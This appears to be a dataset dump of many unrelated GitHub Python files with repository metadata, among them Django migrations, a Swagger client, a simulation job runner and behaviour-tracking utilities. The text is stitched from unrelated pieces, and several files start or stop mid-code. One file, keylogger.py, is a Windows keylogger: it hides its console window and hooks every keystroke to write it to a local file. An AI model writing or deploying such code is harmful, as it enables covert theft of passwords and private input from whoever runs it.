# (the "License"); you may not use ... | [
"JenniferJonhnson89@163.com"
] | JenniferJonhnson89@163.com |
f50186d3a30eb10b2fb458ea10a2d9f678be8509 | 72639248c287778e8395a16aedc1fcb8eddcff30 | /lancers/migrations/0002_auto_20201019_2106.py | 8c19a2d52a9bbacf2be01fdf6269dd949eff97be | [] | no_license | takashifuruya0/fmanage | b13d92a8df6a38f1148a73f5fe189bdea55efc54 | 6f7c3fcca1e12e280a4c603397eb5e9ba80ab9dc | refs/heads/master | 2023-03-10T15:32:45.597104 | 2023-01-17T14:29:35 | 2023-01-17T14:29:35 | 123,647,988 | 0 | 0 | null | 2023-02-16T01:30:56 | 2018-03-03T01:20:11 | Python | UTF-8 | Python | false | false | 1,712 | py | # Generated by Django 2.2.16 on 2020-10-19 12:06
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('lancers', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='opportunity',
name='related_opportunit... | [
"takashi.furuya.0@gmail.com"
] | takashi.furuya.0@gmail.com |
4912c9aa0169725dec897c3ad6b60c8d226faa63 | 8f6119f0e31b49b45a500435f509e76718a6d34f | /venv/Scripts/pip3-script.py | 45f2ff25911187d97095b29c72a85b088dbafee3 | [] | no_license | reyhanzo/PROGJAR_05111740000154 | ff4f4d7b519be6b24b4538b303d8883174b1a8fa | 77a6fde75f8f8700725fc52c4c80b9aa88ac4d53 | refs/heads/master | 2021-01-02T03:02:11.379409 | 2020-05-15T15:53:28 | 2020-05-15T15:53:28 | 239,463,276 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 430 | py | #!C:\Users\LENOVO\Documents\GitHub\PROGJAR_05111740000154\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip3'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?... | [
"36990456+reyhanzo@users.noreply.github.com"
] | 36990456+reyhanzo@users.noreply.github.com |
afc6e981f257ec4d3f19dd62d8a23a64ddeaccfe | 1b9623eb1e19d4ce775fdee6dadfcb743f8aac10 | /deptx/mop/urls.py | 8f199cc9587fb4f576da54aab386f0b99bb4c9ba | [] | no_license | pombredanne/deptx | d4784a75245f0df9b776fbfeab2a68194d9889cc | a7bd33ca658ab17060d803b86e35ae84cbd9ff08 | refs/heads/master | 2021-01-22T08:38:41.330904 | 2013-11-13T13:59:53 | 2013-11-13T13:59:53 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,854 | py | from django.conf.urls import patterns, url
from mop import views
urlpatterns = patterns('',
url(r'^$', views.login, name='mop_login'),
url(r'intranet/$', views.index, name='mop_index'),
url(r'intranet/logout/', views.logout_view, name='mop_logout'),
url(r'intranet/rules/', views.rules, name='mop_rule... | [
"herr.wetzel@gmail.com"
] | herr.wetzel@gmail.com |
1818810ee229cd68db13a66efefecbe5872edcc2 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_35/216.py | d0006fc021592ec292be67dc3cf4606ceec3d5d5 | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,591 | py | import string
class GraphNode(object):
def __init__(self, x_pos, y_pos):
self.x_pos = x_pos
self.y_pos = y_pos
self.flows_to = None
self.flows_from = []
self.label = None
def set_flows_to(self, other):
assert self.flows_to != other
self.f... | [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
7c9fa6cda81eafe310ba5a888b58394318b6dabc | de93337b44c8e90461b20bba29baa9866e5fa974 | /keylogger.py | b918e3f82fb295906ef3f12f33d24fe7c69c7be4 | [] | no_license | felipefbelo/Infosec | b5362519142e3810d942f59a6b9337985fbcf9fc | f272b613ad066c558ae7dbc9c0bfb904818d151b | refs/heads/master | 2022-02-24T03:43:14.950956 | 2022-02-14T23:54:26 | 2022-02-14T23:54:26 | 180,662,802 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 814 | py | #!/usr/bin/env python
import win32console
import win32gui
import pythoncom
import pyHook
# Keylogger em fase de testes...
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
f=open('C:\U... | [
"noreply@github.com"
] | felipefbelo.noreply@github.com |
3242d0126d4fef0df4997284cec8c9188b7e3d1f | 3835677a1e44a7c9de8bc1c0fba7df94caaf4b16 | /app/modelo/migrations/0005_auto_20190112_2117.py | 53c98283d8eb26883207b4b28664b83a77d0fd26 | [] | no_license | JonnathanE/cooperativa | cf3f42c112b05120599b261460f88fc6ee7a32bf | 9a7c92eb51b7f91c348f38919772e2c83f993d9c | refs/heads/master | 2020-04-17T04:51:52.799529 | 2019-01-17T15:52:33 | 2019-01-17T15:52:33 | 166,249,940 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 404 | py | # Generated by Django 2.1.4 on 2019-01-12 21:17
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('modelo', '0004_auto_20190109_0413'),
]
operations = [
migrations.AlterField(
model_name='bancavirtual',
name='numero... | [
"jonathan684j@gmail.com"
] | jonathan684j@gmail.com |
aa1bdb2b6f2dfc31f467de5d05807bbd3a3ac8c9 | 6138b65079150723e41812b1345001866eeec323 | /project.py | af6b2f1844c6d1749de71c454f280291881eebc0 | [] | no_license | sirinsu/GlobalAIHubPythonHomework | 6b62c20c1503e3fc9665729f02747d1ea2da8939 | 78598b0ef6105bef1c404bcd57a3313cf85cd568 | refs/heads/master | 2023-02-06T14:36:15.270897 | 2020-12-26T19:45:17 | 2020-12-26T19:45:17 | 324,580,123 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,657 | py | #!/usr/bin/env python
# coding: utf-8
# In[ ]:
"""Student Management System"""
def calculateFinalGrade(grades):#takes a dictionary including midterm, final and project grades then returns the final grade after some calculations.
midterm = int(grades.get('midterm'))
final = int(grades.get('final'))
proje... | [
"sirinsevvalucak@gmail.com"
] | sirinsevvalucak@gmail.com |
e1266db15e249a1e84da1b930047cfc7169dce2e | b29f16ffd36eb64d98a0008e64c582d7c23697ea | /Account/views.py | e561deb9663b8ddba4ae43b2f19dc1c5d71d2663 | [] | no_license | minhvu2899/B0EC | 019bb744857aa66ee50c4b9ca0f2cb9d097180b9 | 2653653f68d2ac4a8f911214b9a4a3f02f842219 | refs/heads/main | 2023-06-04T06:41:11.767476 | 2021-06-23T15:07:39 | 2021-06-23T15:07:39 | 379,642,369 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,591 | py | from django.http.response import HttpResponse
from django.shortcuts import redirect, render
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth.forms import AuthenticationForm
from django.contrib.auth import logout as logouts
from django.contrib.auth import login as logins
from django.contri... | [
"vuhongminh2899@gmail.com"
] | vuhongminh2899@gmail.com |
ab82ba1b699e55a93be8f6d23f9c77bc8b1121a2 | c5370d05e8b07e78bab362c91fbab70f1cbba22a | /FruitFree/spider/yimutian/yimutian/spiders/yimutian_locationchart.py | dd39e68253a57f4b62f9332a9f0ac70d9b06279b | [] | no_license | YihengWang828/FruitFreedom | 21c540a1d049684bc63440f6090034210fabfd45 | 489fd82b754196f7312960bf75c2bc213c4c0e88 | refs/heads/master | 2022-11-11T05:21:15.952454 | 2020-06-27T15:08:34 | 2020-06-27T15:08:34 | 273,426,077 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,710 | py | import scrapy
import re
import json
from bs4 import BeautifulSoup
from copy import deepcopy
import os
import csv
import time
from yimutian.items import YimutianItem
#from products.items import ProductsItem
class yimutianSpider(scrapy.Spider):
name='yimutian'
allowed_domains = ['hangqing.ymt.com']
def start_... | [
"15320519577@163.com"
] | 15320519577@163.com |
0e8e943f02932271670514383a5e7afae1d4e102 | 02be54b8a9ab6813274ae18feb428d0d1405b0b0 | /profiles/urls.py | 3664a3b5302ffe8a588e8eb15f400198f80a55f9 | [] | no_license | paulloy/msp4-brazen-mma | 8ee98e2f2b12a4a24b14d30c1456233b02457dcd | 33a430d6c81bb44525469bcee1beaee7c92b3f58 | refs/heads/master | 2023-03-27T13:29:12.825997 | 2021-03-31T03:30:46 | 2021-03-31T03:30:46 | 341,317,874 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 370 | py | from django.urls import path
from . import views
urlpatterns = [
path('profile_delivery_info/',
views.profile_delivery_info, name='profile_delivery_info'),
path('profile_order_history/',
views.profile_order_history, name='profile_order_history'),
path('order_history/<order_number>',
... | [
"paulloy020896@gmail.com"
] | paulloy020896@gmail.com |
57fd18f5e0ee538bd2e8ef81cf834062ab1a26e0 | a19f698185b1700183189d0f1a543f24897b7a51 | /b_utils.py | f09030547ec46ab3d16937bd5bc25d849efb6a31 | [] | no_license | Loken85/behavioural_classification | c5a72f02b5aeff9213e5226cd6a079427f265b2d | 222e734432318bfd44273d21311395ebc4c7f96d | refs/heads/master | 2022-12-10T18:33:53.836142 | 2020-09-07T05:12:13 | 2020-09-07T05:12:13 | 293,425,939 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,676 | py | # -*- coding: utf-8 -*-
"""
Created on Wed Oct 9 14:48:26 2019
@author: adria
Utilities for automated behavioural state tracking with deeplabcut input
"""
import pandas
import numpy as np
import scipy.io as sio
import matplotlib.pyplot as plt
from matplotlib.animation import FFMpegWriter
# Turns... | [
"adrianj.lindsay@gmail.com"
] | adrianj.lindsay@gmail.com |
1e1edc52a0391978d201fa29915e76ea3b59a2c1 | 82adfe2b2b6bc3989f8b860513d5ee4b753987e3 | /pytmcapi/swagger_client/api/promotions__executables_api.py | 8d566fd25748ef0010aab5e51e9c5630fa905a1b | [
"Apache-2.0"
] | permissive | mverrilli/tmc-api-clients | 9ffc520a21b791d5047dfd74050af9bd6268b7a5 | 0d2752a4c2f43b19da9714072d03c15dccf2619a | refs/heads/master | 2021-05-17T22:45:38.453946 | 2020-04-06T16:32:40 | 2020-04-06T16:32:40 | 250,986,574 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,980 | py | # coding: utf-8
"""
Talend Management Console Public API
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 2.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import abs... | [
"mverrilli@talend.com"
] | mverrilli@talend.com |
81c732330675c3664eaf16f1f79b56005c8f43b5 | ea8336d1d0ce8b70362a544a8cafd55189a47921 | /snmpagent_unity/unity_impl/StorageProcessorReadThroughput.py | d0944e72498dd8cef598fd5a9a8f7c6c92c30580 | [
"Apache-2.0"
] | permissive | emc-openstack/snmp-agent | d2697cc2b35bf614f8e7e6a09eaa7bdbba3f1d04 | 466cd3ac072cd3a67c85ae9a4d3c7da3ae7ec9fc | refs/heads/master | 2023-03-27T01:52:56.037323 | 2017-09-13T06:29:00 | 2017-09-13T06:29:00 | 124,860,756 | 2 | 1 | Apache-2.0 | 2019-10-04T23:00:47 | 2018-03-12T08:56:26 | Python | UTF-8 | Python | false | false | 301 | py | class StorageProcessorReadThroughput(object):
def read_get(self, name, idx_name, unity_client):
return unity_client.get_sp_block_read_iops(idx_name)
class StorageProcessorReadThroughputColumn(object):
def get_idx(self, name, idx, unity_client):
return unity_client.get_sps()
| [
"yong.huang@emc.com"
] | yong.huang@emc.com |
114b4c677ac9ad89733f6b700813000b37a0f4b4 | 7f7fc72cf2f2f06ef7eb5d852d0bd2caf3f2daf9 | /sirepo/runner.py | 6b4f1b20aa57674dc9faee958a025c976818c02e | [
"Apache-2.0"
] | permissive | kalebswartz7/sirepo | 4bcd41113ba93a3f7bcfa47df27e79805e1e4f50 | 8d1f2b3914cf9622eaae6b0bf32e23e38e4e5972 | refs/heads/master | 2020-03-19T08:31:41.409642 | 2018-07-20T19:32:48 | 2018-07-20T19:32:48 | 136,211,659 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 17,268 | py | # -*- coding: utf-8 -*-
u"""Run jobs
:copyright: Copyright (c) 2016 RadiaSoft LLC. All Rights Reserved.
:license: http://www.apache.org/licenses/LICENSE-2.0.html
decouple so can start any type of job
add is_background_import to simulation_db
select docker for that if configured and not background
need to have hard ... | [
"github@q33.us"
] | github@q33.us |
f7c6dff56a5dbfbd57c51b742a1f32e141403c38 | da2583af7a14f04aed029a79a79224547de4c1f2 | /rl/policy/gp_linear_mean.py | ba4a963f759f350f923730c7a4ecbcfa39d55142 | [] | no_license | yun-long/rl_prototype | 4b0af8b817ad1c8bc30a46d7fa2e8f5cd37f7ea1 | 0a86a097d58ce299da90ea346e074f20fe167a5d | refs/heads/master | 2020-04-23T15:37:49.498870 | 2019-02-18T11:28:21 | 2019-02-18T11:28:21 | 171,271,851 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,545 | py | """
Gaussin policy, linear mean, constant variance
Reference: Jan Peters, A Survey on policy search for robotics
"""
import numpy as np
import time
from rl.policy.base import GaussianPolicy
class GPLinearMean(GaussianPolicy):
def __init__(self, env, featurizer):
#
self.env = env
#
... | [
"yun-long.song@outlook.com"
] | yun-long.song@outlook.com |
aa3ac1974fafdcc4d0ecbbb8b81994e2958b1715 | 96e29b0815de8a774fe15aefbfedcfb4d4a78f01 | /FreeUsers.py | 8de8965739d9e9ad2d8516fc090b3a9dff4f92f6 | [] | no_license | gj0nyg/Spark-Tools | 23bdebc0220d4f9db850f6b5834e114fc56b18e5 | d0163e41b4f1e3bfa6cd2609445aeddbbde68325 | refs/heads/master | 2021-06-30T02:19:41.869237 | 2017-09-15T12:17:53 | 2017-09-15T12:17:53 | 103,482,445 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,915 | py | #!/usr/local/bin/python3
# Code borrows heavily from Cisco Devnet lessons
from ciscosparkapi import CiscoSparkAPI, SparkApiError
import os
import sys
if __name__ == '__main__':
# Command line arguments parsing
from argparse import ArgumentParser
parser = ArgumentParser("ConvertUsers.py")... | [
"joe.bennett@team.telstra.com"
] | joe.bennett@team.telstra.com |
eeafb0a33b32e58aaead1a0011773f833e20579c | 9628ef262c61ede2c7490920681c063bf1682ea7 | /db_clustering/plots.py | a7ca9927c58f6a4b64e393413f351fc755dc68f5 | [] | no_license | schnappv/density-based-clustering | 6c15457c25c101340acf137f4483527b5b01444f | 1ad542b5d7789da782f2b9771d837a64adaee674 | refs/heads/master | 2023-07-27T00:20:52.464045 | 2022-06-28T14:37:44 | 2022-06-28T14:37:44 | 235,692,188 | 0 | 1 | null | 2023-07-06T21:49:52 | 2020-01-23T00:00:40 | Jupyter Notebook | UTF-8 | Python | false | false | 3,472 | py | import logging
from typing import Optional, List
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
from matplotlib.ticker import MaxNLocator
from pandas.plotting import register_matplotlib_converters
from db_clustering.base_dbscan import BaseDBSCAN
logger = logging.getLogger(__name__)
... | [
"valerie.f.schnapp@gmail.com"
] | valerie.f.schnapp@gmail.com |
58f225e91c9707ccec4037ee3789c38ff19785e9 | 799a0af9c05deabe5d5250a10e480ec15ae0216e | /Xpath_test/xpath_test_10.py | 3c4e2e550651ef49c998f95a34ee15717ae8ac84 | [
"MIT"
] | permissive | waws520waws/waws_spider | 9b2be28834c08166463fe265e0f5c37a874369c8 | c6a5988121f32619a5c5134c09fdfd556c696fe7 | refs/heads/master | 2021-03-20T06:01:22.041937 | 2020-03-28T02:49:16 | 2020-03-28T02:49:16 | 247,183,308 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 356 | py | from lxml import etree
"""
contains的使用:应用于一个标签的属性有多个值的情况,如果我们还是用之前的相等的模式,是匹配不到值的
"""
text = '''
<li class="li li-first"><a href="link.html">first item</a></li>
'''
html = etree.HTML(text)
result = html.xpath('//li[contains(@class, "li")]/a/text()')
print(result) | [
"16601203140@163.com"
] | 16601203140@163.com |
661caf7b460c7daa1b1dcd64f2926900fa1374e5 | 2286b880df34e1bfabe79b3605de287040404560 | /02-02/todolist/task/urls.py | 97bdb244e32e547aaa634f5ef9fd3c9aa9311fa6 | [] | no_license | iklimah27/praxis-academy-2 | e5d8b08807980d6fd8ff6ab73caa6ea18083c7f8 | 925853b520c9a8d7a87d8980d7fedfa604d3b4c8 | refs/heads/master | 2022-12-25T01:54:45.572190 | 2020-10-15T07:22:06 | 2020-10-15T07:22:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 238 | py |
from django.contrib import admin
from django.urls import path
from django.shortcuts import render
from . import views
urlpatterns = [
path('', views.index),
path('<id>/', views.detail),
path('<id>/delete/', views.delete),
]
| [
"hatami391998@gmail.com"
] | hatami391998@gmail.com |
1fe2656260edd35919c9745fc47bafc67970c346 | c9c5463996bf9e2adcd4918857382121b0a5aa56 | /leetcode/堆/重构字符串.py | 0147b66b14e19194532f2ddae5788e111bc1a915 | [] | no_license | Da1anna/Data-Structed-and-Algorithm_python | fdf370c355248081990c57c1c8eb5e05c4781e2b | cce067ef4374128924018b00c5ea77d2e869a834 | refs/heads/master | 2022-12-27T13:24:36.084657 | 2020-10-13T02:39:39 | 2020-10-13T02:39:39 | 174,938,027 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,278 | py | '''
给定一个字符串S,检查是否能重新排布其中的字母,使得两相邻的字符不同。
若可行,输出任意可行的结果。若不可行,返回空字符串。
示例 1:
输入: S = "aab"
输出: "aba"
示例 2:
输入: S = "aaab"
输出: ""
注意:
S 只包含小写字母并且长度在[1, 500]区间内。
来源:力扣(LeetCode)
链接:https://leetcode-cn.com/problems/reorganize-string
著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。
'''
'''
思路1:双指针交换法,遍历数组,当遇到一个字母与它之前一个不同时,从当前位置开始寻找一个... | [
"1318176575@qq.com"
] | 1318176575@qq.com |
dd38fd11a56bf550fab0a93a602c8c020348595c | b58158b53e97775a63540a752b56783d80cf2ff7 | /menubarnotifier.py | 2a41f7e788e0eb8224065d97de104f5d5338e073 | [] | no_license | alexglasser/menubarnotifier | 334f6823a8c08f776ca9c1632c5ae09057fe2ec3 | 4f0b69a0ab9d5e4ca10dd6e0b0a5941a94fb8522 | refs/heads/master | 2021-01-19T20:14:51.074296 | 2014-09-24T02:14:40 | 2014-09-24T02:14:40 | 24,394,237 | 14 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,502 | py | #!/usr/bin/python
'''
menubarnotifier.py
Alex Glasser
September 23, 2014
Simple script to display a message in the Mac OS X menubar using PyObjC.
Make sure you have PyObjC installed - you can do this using MacPorts or Homebrew.
Call the script with the desired notification as argv[1]:
./menubarnotifier.py "Notifi... | [
"alexander_glasser@student.uml.edu"
] | alexander_glasser@student.uml.edu |
31e1e3bd3ba2ce4e49a925c97fabf5020e9c43d7 | c875692c864debde738215a0d08872a3ac3d5b92 | /pace_statistic.py | 2909c3124567e14bacd72f470237850892469e16 | [] | no_license | camelop/naive_poem_writer | 4f94ae17f88f39f08ac0db53bd4a55ae53b07bf4 | 9ecbfdf31804b044960962e3a8c4e4fffc3bbca1 | refs/heads/master | 2021-05-15T12:57:16.961046 | 2017-10-26T16:56:07 | 2017-10-26T16:56:10 | 108,439,812 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,355 | py | import pickle
from poem import Poem
with open('poem_list.data', 'rb') as f:
poem_list = pickle.load(f)
pace_s = {}
for p in poem_list:
pace_nw = str(p.pace())
if pace_nw in pace_s:
pace_s[pace_nw].append(p)
else:
pace_s[pace_nw] = [p]
for index, pace in enumerate(sorted(pace_s.items()... | [
"lxy9843@qq.com"
] | lxy9843@qq.com |
de5110ecef9c1e5ac39b92c1b6ed363b2bcedf96 | 91644491699f21add528fbf27753845086b1477f | /hafta4/GarbageTest/GarbageResNet.py | be1c25b7096d64a9c8ac4f269070c364a89fd006 | [] | no_license | SerhatTurann/TezCalismalari | 6ec3eb3c4d827972d2939bde467f7903e9695719 | cc182d05df6fc49ddf83cd2335c233c77673193a | refs/heads/master | 2023-05-10T08:53:07.062066 | 2021-06-16T01:43:32 | 2021-06-16T01:43:32 | 349,109,142 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,411 | py | import cv2 #Görüntü işleme kütüphanesi.
import numpy as np #matris işlemleri için kullanılır.
import Tools #Label işlemleri için kendi yazdığımız modül
#Modeli yüklemek ve giriş görüntüsünü hazırlamak için gerekli kütüphaneler.
from tensorflow.keras.models import load_model
from tensorflow.keras.preprocessing.image imp... | [
"serhatturanresmi@gmail.com"
] | serhatturanresmi@gmail.com |
74078e9e213ca05dd92ef137c041b24c9432e58a | 45c539b7aefbeba43aa1623f53029325b0f8c325 | /kcdc3/apps/classes/migrations/0016_auto__add_field_event_status__add_field_event_featured__add_field_even.py | f3847e8d1fd3dfec5631ec7e4bdcc54b3facd065 | [
"MIT"
] | permissive | knowledgecommonsdc/kcdc3 | f855fd07861ac30b2e0493ff6b788e6140e6df52 | 573b836b052081c0e4137076574fc987535e1aa8 | refs/heads/master | 2021-12-12T02:43:14.814991 | 2017-10-04T14:59:22 | 2017-10-04T14:59:22 | 4,991,118 | 3 | 3 | MIT | 2021-12-02T17:56:48 | 2012-07-11T15:42:11 | Python | UTF-8 | Python | false | false | 14,415 | py | # -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Event.status'
db.add_column('classes_event', 'status',
self.gf('django... | [
"dave@imaginaryterrain.com"
] | dave@imaginaryterrain.com |
4d65297c73e965cf8f0fa945c1dd72e7c6af914c | 0b8670d95816cde1ceaa2e87c5a782c50073fc64 | /NLP Senti_analysis/程序源代码/Train/Preprocess/process.py | d064bd6f53f91b6e1c961e3c551d95913e7e5b61 | [] | no_license | joyjiuyi/UCAS_NLP-1 | fd047c6e42a8d3bb7ced5922f8daf72774df530f | 23fe692bdfce3706933425c501ea742b7d073077 | refs/heads/master | 2022-05-06T03:30:03.204529 | 2018-11-24T06:11:24 | 2018-11-24T06:11:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 607 | py | #训练集\验证集划分
import sys
import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
if __name__ == '__main__':
df = pd.read_csv('data.csv')
y = df.iloc[:,1]
x = df.iloc[:,2:]
x_train, x_test, y_train, y_test = train_test_split(x, y, random_state=42, train_size=0.95)
xtest... | [
"noreply@github.com"
] | joyjiuyi.noreply@github.com |
66af6fc6a28ba2a298d0c17907ca815b967fe066 | 993657cb2aabbe7bd1d705938b566384cc34918c | /JCF/pb37-44.py | 37a5d268f8e7d2c0edb4b1ec7166c0457e13787b | [] | no_license | Screwlim/Algorithms | d89e9f57cd022900341d2df6466390ad787ea00d | a5dd9b30a20bf4b75f568c18d99d0a089e1aa9d6 | refs/heads/master | 2020-07-27T03:37:38.667858 | 2020-02-25T14:25:37 | 2020-02-25T14:25:37 | 208,854,225 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,988 | py | #pb37
'''
print('pb37-----------------------------------')
poll = input().split(" ")
count = 0
for i in range(1,len(poll)):
if poll.count(poll[i-1]) < poll.count(poll[i]):
res = i
print(poll[res] + '가 총 ' + str(poll.count(poll[res])) + '표로 반장이 되었습니다.')
#pb38
print('pb38-----------------------------------... | [
"srlim1121@gmail.com"
] | srlim1121@gmail.com |
9671494c7376ad81448f1c2d11f7707cd3a46a2a | a28f52ac4b77599ab9a71fea6f98d322974b5875 | /YAAS/migrations/0023_auctionstatus_version.py | 89357412d6d56ffe2d4301d0b50a4bc7cfcf2229 | [] | no_license | dawitnida/Pythonidae | 3785c3473f585ff5dc3865155547a7de845336b4 | 4df225bdc55ffee6d6bd02f32956a84fe27749a8 | refs/heads/master | 2022-12-12T12:21:24.278144 | 2022-05-12T19:52:44 | 2022-05-12T19:52:44 | 24,888,914 | 1 | 2 | null | 2022-05-12T19:52:45 | 2014-10-07T12:19:02 | Python | UTF-8 | Python | false | false | 520 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import concurrency.fields
class Migration(migrations.Migration):
dependencies = [
('yaas', '0022_auto_20141101_2209'),
]
operations = [
migrations.AddField(
model_name='a... | [
"dchonch@gmail.com"
] | dchonch@gmail.com |
bdec81e74eafb8a5c8eef6e571073c135807f327 | 17697a5d83991139de35524dc5369a67ebc48335 | /bottom_view.py | c2c3364c492b26d6721e4b719a342ff40f56b4fd | [] | no_license | troj4n/Trees | 3f4c1f0b62fd79225fdf596f01adfd8695a73954 | dbd5fbefb4a4b799b042fd8cdc0f613e86367397 | refs/heads/master | 2020-06-04T05:31:40.173514 | 2019-06-21T09:55:35 | 2019-06-21T09:55:35 | 191,889,687 | 0 | 0 | null | 2019-06-14T09:52:48 | 2019-06-14T06:41:10 | Python | UTF-8 | Python | false | false | 1,640 | py | # coding: utf-8
# Your code here!
from collections import deque
#initialise node
class Node:
def __init__(self,data):
self.data=data
self.left=None
self.right=None
self.hd=None
def findBottomView(root):
if root==None:
return
hd=0
root.hd=hd
#initialise a dic... | [
"noreply@github.com"
] | troj4n.noreply@github.com |
9a52a06a94e3a2e77b20377abdd1941d2de5376f | 8e866c25e4af2430b2bd687d929a3ac9cdc16920 | /parametros/migrations/0002_tipoincremento_descripciontipoincr.py | c96d8b017882f3cc72ef67d1cf544f9b1a9f1b72 | [] | no_license | ibuilder/Prefact | 9ea481e93f4658dbdc569224a713609dba6ef8f1 | c1d7cefce92d3cd66122292fed68300e03ff033a | refs/heads/master | 2022-01-09T13:28:55.817499 | 2018-11-09T22:02:45 | 2018-11-09T22:02:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 486 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.6 on 2017-12-11 01:16
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('parametros', '0001_initial'),
]
operations = [
migrations.AddField(
... | [
"carlos.herrera@outlook.com"
] | carlos.herrera@outlook.com |
6487119fd016b50af8b9e741625a98c8853f21ed | 0a303585b67defefb8df983e8d5395815c2ee0b2 | /bin/pip | 8e43107fe3d24cee92c5efbeae0e3731c8179197 | [] | no_license | wangqian121/python3-learn | 83c87d62887552dbbe4c41ddc891ff1a863da35b | c8c83ebdd324501c4deeb2026c9ee1f058e1bf64 | refs/heads/master | 2020-12-24T04:44:27.902787 | 2020-05-15T09:56:44 | 2020-05-15T09:56:44 | 237,384,543 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 384 | #!/Users/wangqian/untitled/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
lo... | [
"1398803217@qq.com"
] | 1398803217@qq.com | |
2949ad30d2c1f779dd0f7906f17943d31c121fb1 | eac22714038e840028cc5abb72bc750004626ebb | /mct_camera_tools/nodes/image_proc_master.py | 3316d09e4957ac3d0f6500030feeee1cccdedf4f | [
"Apache-2.0"
] | permissive | iorodeo/mct | 79b19f6dab9f6567452df7274d67245bf64b1801 | fa8b85f36533c9b1486ca4f6b0c40c3daa6f4e11 | refs/heads/master | 2022-11-11T18:03:18.178182 | 2014-08-20T19:21:27 | 2014-08-20T19:21:27 | 273,790,182 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,780 | py | #!/usr/bin/env python
from __future__ import print_function
import roslib
roslib.load_manifest('mct_camera_tools')
import rospy
import os
import os.path
import tempfile
import subprocess
from mct_xml_tools import launch
# Services
from mct_msg_and_srv.srv import CommandString
from mct_msg_and_srv.srv import Command... | [
"will@iorodeo.com"
] | will@iorodeo.com |
9e41b715ddb0c07119dda3e386a628a8d2cc9564 | 867c8f58096777714fb6617669348bb8898811c3 | /devGetOffers.py | 437c3581a628d2a5c878c22e06ed4e6df078b38c | [] | no_license | dazuna/PyScripts-for-AWS-Serverless | f41c4e0fe22a1824e56c79d00cd24a77a501650a | 4136923cab12cc1c2d4610b1ce68e6e04f2ea4d5 | refs/heads/master | 2022-11-06T04:31:54.392129 | 2020-06-21T19:24:33 | 2020-06-21T19:24:33 | 273,969,434 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,633 | py | import boto3
import json
import decimal
from boto3.dynamodb.conditions import Key, Attr
dynamo = boto3.client('dynamodb')
def respond(err, res=None):
return {
'statusCode': '400' if err else '200',
'body': err.message if err else json.dumps(res,cls=DecimalEncoder),
'headers': {
... | [
"noreply@github.com"
] | dazuna.noreply@github.com |
24007ef5ef566f228a7667133ecccce9e2ca71b6 | 9be143a314f58bad3ca607e8c322415e6d05a30f | /venv/Scripts/pip3-script.py | 5c0139f6223e17f6c9f55c676299039aed715457 | [] | no_license | zibb03/Face-Emotion-Recognition | baec3b7d57636642641e52afd73f1ef5436a51d6 | fd5b04fc34fc8cfa9415ae7ab5fa85316c3be6d4 | refs/heads/main | 2023-06-18T15:49:40.905788 | 2021-07-19T15:05:00 | 2021-07-19T15:05:00 | 355,542,615 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 411 | py | #!C:\Users\user\PycharmProjects\OpenCV\venv\Scripts\python.exe
